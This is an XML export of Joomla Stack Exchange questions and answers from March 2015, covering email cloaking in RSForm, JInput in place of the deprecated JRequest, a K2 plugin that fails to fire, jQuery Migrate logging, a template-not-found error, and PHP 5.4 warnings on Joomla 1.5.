  <row Id="8878" PostTypeId="1" AcceptedAnswerId="8879" CreationDate="2015-03-03T22:17:19.883" Score="1" ViewCount="720" Body="&lt;p&gt;I have a contact us form built using the &lt;strong&gt;RSForm Pro&lt;/strong&gt; component.&lt;br&gt;&#xA;At the top of the form I have a brief intro-text, using the RSForm &lt;strong&gt;freetext field&lt;/strong&gt;, where I have my email address for those that don't want to submit the form and just like to contact me directly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my form published with a RS Form menu item.&lt;br&gt;&#xA;My problem is that the email cloaking plugin doesn't affect the email address that is shown inside rsform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide my email address from bots?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-11-06T21:29:12.410" LastActivityDate="2015-11-06T21:29:12.410" Title="How to enable email cloaking for my email address that is shown in rsform?" Tags="|plugin|security|emails|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8879" PostTypeId="2" ParentId="8878" CreationDate="2015-03-03T22:17:19.883" Score="3" Body="&lt;p&gt;Below are 2 options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Display the form within Joomla Article.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is to inject and publish the form &lt;strong&gt;within a joomla article&lt;/strong&gt;, where the &lt;strong&gt;cloaking plugin&lt;/strong&gt; will be triggered. RS Form component comes with the required plugin that allows to show a form within an article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this might cause further issues with how the form will deal any other email addresses from inside the form, but in this case, there are &lt;a href=&quot;https://www.rsjoomla.com/support/view-article/148-my-email-field-contains-a-script.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;instructions&lt;/strong&gt;&lt;/a&gt; in RS Joomla site to deal with this.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Use PHP inside RS Form.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option, is to manipulate the form's output with php, within RS Form.&lt;br&gt;&#xA;This is possible with the RS Form's feature, to &lt;strong&gt;run php code&lt;/strong&gt; that is called on &lt;strong&gt;Form Display&lt;/strong&gt;.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is how to achieve it:&lt;/strong&gt;&lt;br&gt;&#xA;In the freetext field of the form, you can replace the email address with a &lt;strong&gt;special keyword&lt;/strong&gt;, which you can enclose inside brackets. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;E.g. Feel free to drop us an email at {email}.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the '&lt;code&gt;{email}&lt;/code&gt;' is the special keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then from the &lt;strong&gt;Form Properties&lt;/strong&gt;, in the &lt;strong&gt;PHP Scripts section&lt;/strong&gt;, you can add the following piece of code at the first script text-area, that manipulates the form's display.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  //First we use Joomla's default email cloaking feature:&#xA;  $email = JHtml::_('email.cloak', 'myemail@mydomain.com');&#xA;&#xA;  //Then we replace the keyword we placed previously in the freetext, with the new value of email.&#xA;  $formLayout = str_replace('{email}',$email, $formLayout);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$formLayout&lt;/code&gt; is the string that contains the layout of the form. We search for our keyword inside this string and replace it with the new &quot;cloaked&quot; email value &lt;code&gt;$email&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the email address will be protected from spambots in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-03-03T22:17:19.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8880" PostTypeId="1" AcceptedAnswerId="8891" CreationDate="2015-03-03T23:19:13.223" Score="1" ViewCount="711" Body="&lt;p&gt;Is there any way that allows displaying tagged items like a category display? In other words, In the category listing for its belonged articles, we can see title and other meta data such as publish date and author, but listing items in a tag, the most reached display is displaying just the title, image and description, so I need a way that allows Tag to list items as displayed in a category showing article,Written by, Category, Published and Hits.&lt;/p&gt;&#xA;" OwnerUserId="3808" LastActivityDate="2015-03-04T13:37:38.953" Title="Displaying tagged items like category" Tags="|tags|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8882" PostTypeId="1" AcceptedAnswerId="8893" CreationDate="2015-03-04T02:44:24.393" Score="3" ViewCount="1376" Body="&lt;p&gt;I have a Joomla website and I had to upgrade webhosting to PHP 5.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see these errors on my website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Parameter 1 to plgContentMultiAds::onPrepareContent() expected to be a reference, value given in /www/doc/www.myweb.cz/www/libraries/joomla/event/event.php on line 68&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Parameter 1 to plgContentEmailCloak() expected to be a reference, value given in /www/doc/www.myweb.cz/www/libraries/joomla/event/dispatcher.php on line 137&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried solution from this website: &lt;a href=&quot;http://www.codingconcepts.net/joomla-dispatcher-php-and-event-php-fix-errors&quot; rel=&quot;nofollow&quot;&gt;http://www.codingconcepts.net/joomla-dispatcher-php-and-event-php-fix-errors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;problematic line&quot; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$result[] = call_user_func_array($observer['handler'], $args);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return call_user_func_array ( array($this, $event), $args );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to find the solution on the internet, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than there is another error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Creating default object from empty value in /www/doc/www.myweb.cz/www/modules/mod_latestnews/helper.php on line 109&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 109:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$lists[$i]-&amp;gt;link = JRoute::_(ContentHelperRoute::getArticleRoute($row-&amp;gt;slug, $row-&amp;gt;catslug, $row-&amp;gt;sectionid));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help!&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2017-11-18T22:07:58.987" Title="Errors after upgrading PHP to 5.4 in Joomla 1.5.25 dispatcher.php and event.php" Tags="|php|joomla-1.5|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostTypeId="1" AcceptedAnswerId="8884" CreationDate="2015-03-04T05:01:07.547" Score="6" ViewCount="10128" Body="&lt;pre&gt;&lt;code&gt;public function storeans()&#xA;{&#xA;    $user   = JFactory::getUser();&#xA;    $post   = JRequest::getVar('post');&#xA;}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code, &lt;code&gt;JRequest&lt;/code&gt; is deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the equivalent that can be used in Joomla 3.x?&lt;/p&gt;&#xA;" OwnerDisplayName="user3604" LastEditorUserId="12352" LastEditDate="2022-12-10T11:17:14.380" LastActivityDate="2022-12-10T11:17:14.380" Title="Joomla 3.3 deprecated function for JRequest::getVar()" Tags="|joomla-3.x|joomla-3.3.x|jrequest|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="2" ParentId="8883" CreationDate="2015-03-04T07:24:48.993" Score="9" Body="&lt;p&gt;&lt;code&gt;JRequest&lt;/code&gt; has been deprecated in the earlier release of Joomla 3.x&lt;/p&gt;&#xA;&lt;p&gt;Use &lt;code&gt;JFactory::getApplication()-&amp;gt;input&lt;/code&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;For getting any variable (say name) from post method, use below line of code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastEditorUserId="12352" LastEditDate="2022-12-10T11:17:01.997" LastActivityDate="2022-12-10T11:17:01.997" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8885" PostTypeId="2" ParentId="4563" CreationDate="2015-03-04T08:10:59.340" Score="0" Body="&lt;p&gt;JHTML::_( 'behavior.modal' ); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo JHTML::calendar('2015-04-03','name','id','%d.%m.%Y %H:%I'); &lt;/p&gt;&#xA;" OwnerUserId="3812" LastActivityDate="2015-03-04T08:10:59.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="2" ParentId="8883" CreationDate="2015-03-04T09:19:28.543" Score="6" Body="&lt;p&gt;Firstly, I'll just say that you need to use &lt;code&gt;JInput&lt;/code&gt;. More information on this can be read about here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to start off with: you need to call &lt;code&gt;JInput&lt;/code&gt; via the application like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, if you wish to get a single value, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name = $jinput-&amp;gt;get('name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you wish to get an array of data, let's say from a form with multiple fields, then you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $jinput-&amp;gt;post-&amp;gt;getArray(array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-04T09:19:28.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8887" PostTypeId="1" AcceptedAnswerId="8902" CreationDate="2015-03-04T11:27:10.103" Score="1" ViewCount="524" Body="&lt;p&gt;here you are my xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.0&quot; type=&quot;plugin&quot; group=&quot;k2&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;com_related_news_programme&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;IES&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;March 4th, 2015&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;IES&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;&amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&#xA;&amp;lt;license&amp;gt;http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&amp;lt;/license&amp;gt;&#xA;&amp;lt;description&amp;gt;For Related News Programme&amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;plgiesrelatednewsprogramme&quot;&amp;gt;plgiesrelatednewsprogramme.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;plgiesrelatednewsprogramme&quot;&amp;gt;plgiesrelatednewsprogramme.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;plgiesrelatednewsprogramme.sql&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;          &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;plgiesrelatednewsprogramme.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;!-- Standard Joomla! plugin parameters to setup the K2 plugin once --&amp;gt;&#xA;&#xA;&amp;lt;!-- K2 plugin parameters which extend K2 backend forms are defined here --&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here you are my class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined('_JEXEC') or die ;&#xA;&#xA;/**&#xA; * Example K2 Plugin to render YouTube URLs entered in backend K2 forms to video players in the frontend.&#xA; */&#xA;&#xA;// Load the K2 Plugin API&#xA;JLoader::register('K2Plugin', JPATH_ADMINISTRATOR.'/components/com_k2/lib/k2plugin.php');&#xA;&#xA;// Initiate class to hold plugin events&#xA;class plgK2iesrelatednewsprogramme extends K2Plugin&#xA;{&#xA;&#xA;// Some params&#xA;var $pluginName = 'iesrelatednewsprogramme';&#xA;var $pluginNameHumanReadable = 'Related News Programme';&#xA;&#xA;function plgK2iesrelatednewsprogramme(&amp;amp;$subject, $params)&#xA;{&#xA;    parent::__construct($subject, $params);&#xA;    echo &quot;fk cc&quot;;&#xA;}&#xA;&#xA;/**&#xA; * Below we list all available FRONTEND events, to trigger K2 plugins.&#xA; * Watch the different prefix &quot;onK2&quot; instead of just &quot;on&quot; as used in Joomla! already.&#xA; * Most functions are empty to showcase what is available to trigger and output. A few are used to actually output some code for example reasons.&#xA; */&#xA;&#xA;/**&#xA; * Brings the GUI of plugin in the content tab of the k2 item. &#xA; * &#xA; * @param   object      The k2 item.&#xA; * @param   string      The view.&#xA; * @param   string      The tab for assign the plugin.&#xA; * @return  object&#xA; */&#xA;function onRenderAdminForm(&amp;amp;$item, $type, $tab=''){&#xA;    $plugin = new JObject;&#xA;&#xA;    $db = &amp;amp;JFactory::getDBO();&#xA;    $query = 'SELECT m.* FROM #__k2_categories AS m WHERE m.`trash` = 0 ORDER BY `parent`, `ordering`';&#xA;    $db-&amp;gt;setQuery( $query );&#xA;    $mitems = $db-&amp;gt;loadObjectList();&#xA;&#xA;    $html = &quot;&amp;lt;select&amp;gt;&quot;;&#xA;    foreach($mitems as $c) {&#xA;        $cName = $c-&amp;gt;name;&#xA;        $cID = $c-&amp;gt;id;&#xA;        $html.=&quot;&amp;lt;option value='$cID'&amp;gt;$cName&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;    $html.=&quot;&amp;lt;/select&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;.htmlentities(print_r($mitems , true)).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;    $plugin-&amp;gt;set('fields', $html);&#xA;    return $plugin;&#xA;}&#xA;&#xA;function onAfterK2Save(&amp;amp;$row, $isNew) &#xA;{&#xA;&#xA;}&#xA;&#xA;function onK2PrepareContent(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;    //$item-&amp;gt;text = 'It works! '.$item-&amp;gt;text;&#xA;}&#xA;&#xA;function onK2AfterDisplay(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;    return '';&#xA;}&#xA;&#xA;function onK2BeforeDisplay(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;    return '';&#xA;}&#xA;&#xA;function onK2AfterDisplayTitle(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;    return '';&#xA;}&#xA;&#xA;function onK2BeforeDisplayContent(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;    return '';&#xA;}&#xA;&#xA;// Event to display (in the frontend) the YouTube URL as entered in the item form&#xA;function onK2AfterDisplayContent(&amp;amp;$item, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;&#xA;    // Get the output of the K2 plugin fields (the data entered by your site maintainers)&#xA;    $plugins = new K2Parameter($item-&amp;gt;plugins, '', $this-&amp;gt;pluginName);&#xA;&#xA;    $videoURL = $plugins-&amp;gt;get('videoURL_item');&#xA;&#xA;    // Check if we have a value entered&#xA;    if (empty($videoURL))&#xA;        return;&#xA;&#xA;    // Output&#xA;    preg_match('/youtube\.com\/watch\?v=([a-z0-9-_]+)/i', $videoURL, $matches);&#xA;    $video_id = $matches[1];&#xA;&#xA;    $output = '';&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;// Event to display (in the frontend) the YouTube URL as entered in the category form&#xA;function onK2CategoryDisplay(&amp;amp;$category, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;&#xA;    // Get the output of the K2 plugin fields (the data entered by your site maintainers)&#xA;    $plugins = new K2Parameter($category-&amp;gt;plugins, '', $this-&amp;gt;pluginName);&#xA;&#xA;    $output = $plugins-&amp;gt;get('videoURL_cat');&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;// Event to display (in the frontend) the YouTube URL as entered in the user form&#xA;function onK2UserDisplay(&amp;amp;$user, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $mainframe = JFactory::getApplication();&#xA;&#xA;    // Get the output of the K2 plugin fields (the data entered by your site maintainers)&#xA;    $plugins = new K2Parameter($user-&amp;gt;plugins, '', $this-&amp;gt;pluginName);&#xA;&#xA;    $output = $plugins-&amp;gt;get('videoURL_user');&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;} // END CLASS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the plugin installs correctly and i tried echo somthing at the end of the php file so im sure the class was imported&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i put a exit() in either plgK2iesrelatednewsprogramme() or onRenderAdminForm()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;none of them works&lt;/p&gt;&#xA;" OwnerUserId="3639" LastEditorUserId="174" LastEditDate="2015-03-04T21:30:37.120" LastActivityDate="2015-03-04T21:34:27.647" Title="k2 plugin not fired by any event" Tags="|plugin|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="1" AcceptedAnswerId="8889" CreationDate="2015-03-04T11:32:53.213" Score="2" ViewCount="9437" Body="&lt;p&gt;I'm using Joomla 3.4 stable and I seem to be getting Javascript console messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JQMIGRATE: Logging is active&#xA;JQMIGRATE: jQuery.browser is deprecated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debug mode in Joomla is turned off so I don't know why these are displaying and I haven't modified any core code. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="3815" LastActivityDate="2015-03-04T11:35:59.473" Title="JQMIGRATE: Logging is active - how to disable" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostTypeId="2" ParentId="8888" CreationDate="2015-03-04T11:35:59.473" Score="3" Body="&lt;p&gt;I had the exact same thing a couple of days ago when testing some avatars in our extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message you've provided is being produced by Community Builder as it's importing jQuery Migrate (uncompressed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either, download the minified version and replace it, or open the current file and replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.migrateMute = false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.migrateMute = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-04T11:35:59.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostTypeId="1" AcceptedAnswerId="8892" CreationDate="2015-03-04T11:53:53.327" Score="6" ViewCount="7477" Body="&lt;p&gt;I tired more then hours,but i could not find the solutions for this issue. i have site with Joomla 3.4. i have move the files to my local system. config the data base and other things, but page show error below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error displaying the error page: Could not find template &quot;&quot;.: Could not find template &quot;&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My config of db&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysql';&#xA;public $host = 'localhost';&#xA;public $user = 'root';&#xA;public $password = 'user15';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please tell me how can resolve this issue.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2019-06-25T08:57:52.300" Title="Could not find template" Tags="|joomla-3.x|templates|error-reporting|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="2" ParentId="8880" CreationDate="2015-03-04T13:25:09.820" Score="2" Body="&lt;p&gt;You can display more by &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow&quot;&gt;overriding&lt;/a&gt; &lt;code&gt;/components/com_tags/views/tag/tmpl/default_items.php&lt;/code&gt;. If you make:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;?php print_r($item); ?&amp;gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will see that the item contains various additional information which you can output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [type_alias] =&amp;gt; com_content.article&#xA;    [content_item_id] =&amp;gt; 24&#xA;    [core_content_id] =&amp;gt; 1&#xA;    [match_count] =&amp;gt; 1&#xA;    [tag_date] =&amp;gt; 2015-01-29 14:28:39&#xA;    [core_title] =&amp;gt; Joomla! Testing&#xA;    [core_alias] =&amp;gt; joomla&#xA;    [core_body] =&amp;gt; Thanks for helping us to test Joomla!&#xA;    [core_state] =&amp;gt; 1&#xA;    [core_access] =&amp;gt; 1&#xA;    [core_metadata] =&amp;gt; {&quot;robots&quot;:&quot;&quot;,&quot;author&quot;:&quot;&quot;,&quot;rights&quot;:&quot;&quot;,&quot;xreference&quot;:&quot;&quot;}&#xA;    [core_created_user_id] =&amp;gt; 913&#xA;    [core_created_by_alias] =&amp;gt; &#xA;    [core_created_time] =&amp;gt; 2011-01-01 00:00:01&#xA;    [core_images] =&amp;gt; {&quot;image_intro&quot;:&quot;&quot;,&quot;float_intro&quot;:&quot;&quot;,&quot;image_intro_alt&quot;:&quot;&quot;,&quot;image_intro_caption&quot;:&quot;&quot;,&quot;image_fulltext&quot;:&quot;&quot;,&quot;float_fulltext&quot;:&quot;&quot;,&quot;image_fulltext_alt&quot;:&quot;&quot;,&quot;image_fulltext_caption&quot;:&quot;&quot;}&#xA;    [core_modified_time] =&amp;gt; 2015-01-29 12:28:39&#xA;    [core_language] =&amp;gt; *&#xA;    [core_catid] =&amp;gt; 19&#xA;    [core_publish_up] =&amp;gt; 2011-01-01 00:00:01&#xA;    [core_publish_down] =&amp;gt; 0000-00-00 00:00:00&#xA;    [content_type_title] =&amp;gt; Article&#xA;    [router] =&amp;gt; ContentHelperRoute::getArticleRoute&#xA;    [author] =&amp;gt; Super User&#xA;    [author_email] =&amp;gt; test@test&#xA;    [link] =&amp;gt; index.php?option=com_content&amp;amp;view=article&amp;amp;id=24:joomla&#xA;    [displayDate] =&amp;gt; 2011-01-01 00:00:01&#xA;    [event] =&amp;gt; stdClass Object&#xA;        (&#xA;            [afterDisplayTitle] =&amp;gt; &#xA;            [beforeDisplayContent] =&amp;gt; &#xA;            [afterDisplayContent] =&amp;gt; &#xA;        )&#xA;&#xA;    [text] =&amp;gt; Thanks for helping us to test Joomla!&#xA;    [core_params] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this is all you can output. Otherwise you should hack the core file to get more.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-03-04T13:37:38.953" LastActivityDate="2015-03-04T13:37:38.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="2" ParentId="8890" CreationDate="2015-03-04T14:03:45.020" Score="4" Body="&lt;p&gt;If your original website worked fine, and your localhost copy don't work, it's probable that something went wrong in the restoration process. Either some files are missing, or the database is incorrectly restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a couple of things you can try in order to fix your website:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If possible, download the original website again. Use &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; to make a backup, then download it and restore it to your localhost environment using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Kickstart&lt;/a&gt;. Akeeba Backup will include all your files AND your database in one single file, and also includes a restoration script that helps you set up your &lt;code&gt;configuration.php&lt;/code&gt; file correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If that doesn't work, try unzipping the &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;full version of Joomla 3.4&lt;/a&gt; into your existing Joomla directory, replacing any existing files. Then remove the &lt;code&gt;installation&lt;/code&gt; folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-04T14:03:45.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostTypeId="2" ParentId="8882" CreationDate="2015-03-04T15:25:13.153" Score="2" Body="&lt;p&gt;Given that those seem to be simply warnings about lack of compatibility with the installed PHP version which you can't really fix and that your Joomla! version is obsolete, that is you have chosen not to go through the trouble of migrating it, it &lt;strong&gt;should&lt;/strong&gt; be safe and acceptable to simply turn off &lt;a href=&quot;https://stackoverflow.com/questions/25304739/change-error-reporting-to-none-in-joomla-1-5&quot;&gt;error reporting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually not advisable, but in your case having error reporting enabled gives no real benefit as your site is what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also suppress errors on specific lines by adding @ in front of the offending statement. This is acceptable when you know what causes the error and there is no real benefit in fixing it. But the performance is worse than simply turning off error reporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course assumes the site works despite the warnings. Usually this is the case, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;George Wilson has a good point about Joomla! 1.5 not being PHP 5.4 supported. If your site works other than that one module, the easiest solution might be to replace that particular module. Although getting 1.5 extensions is getting more difficult and there would be no guarantee it would work either. (Many 1.5 extensions were not updated for 5.4, after all.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can check with your host about the possibility of using alternate PHP version, precisely because of issues like this many hosts allow choosing PHP version from .htaccess. But that depends entirely on the provider.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-03-05T21:34:55.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8894" PostTypeId="2" ParentId="8882" CreationDate="2015-03-04T16:36:17.177" Score="2" Body="&lt;p&gt;Joomla 1.5 isn't PHP 5.4 compatible as per the Joomla Documentation &lt;a href=&quot;https://docs.joomla.org/Joomla_1.5_won%27t_work_on_PHP_5.4&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Joomla_1.5_won%27t_work_on_PHP_5.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are core hacks available on the internet to get you said support. But really you should look to upgrade to Joomla 3.x as soon as physically possible&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-03-04T16:36:17.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
